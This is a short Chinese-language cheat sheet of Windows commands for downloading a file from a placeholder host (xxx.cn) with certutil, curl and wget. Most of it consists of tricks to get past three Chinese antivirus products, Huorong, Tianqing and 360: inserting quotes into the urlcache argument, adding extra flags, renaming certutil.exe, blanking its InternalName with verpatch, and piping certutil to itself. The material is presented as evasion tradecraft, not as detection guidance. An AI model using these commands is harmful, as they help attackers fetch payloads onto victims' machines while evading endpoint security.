常规
certutil -urlcache -split -f http://xxx.cn/test.txt
curl http://xxx.cn/test.txt
wget http://xxx.cn/test.txt
绕火绒:引号截断urlcache参数、特殊参数就可以绕过
certutil -urlcache -split -f http://xxx.cn/test.txt
certutil -urlcache -split -gmt -f http://xxx.cn/test.txt
certutil -url""cache -split -f http://xxx.cn/test.txt
绕天擎
copy c:\windows\system32\certutil.exe c.exe
verpatch.exe c.exe /s InternalName ""
c.exe -urlcache -split -f http://xxx.cn/test.txt
绕360
certutil|certutil -urlcache split -f http://xxx.cn/test.txt
copy c:\windows\system32\certutil.exe c.exe
c -urlcache -split -f http://xxx.cn/test.txt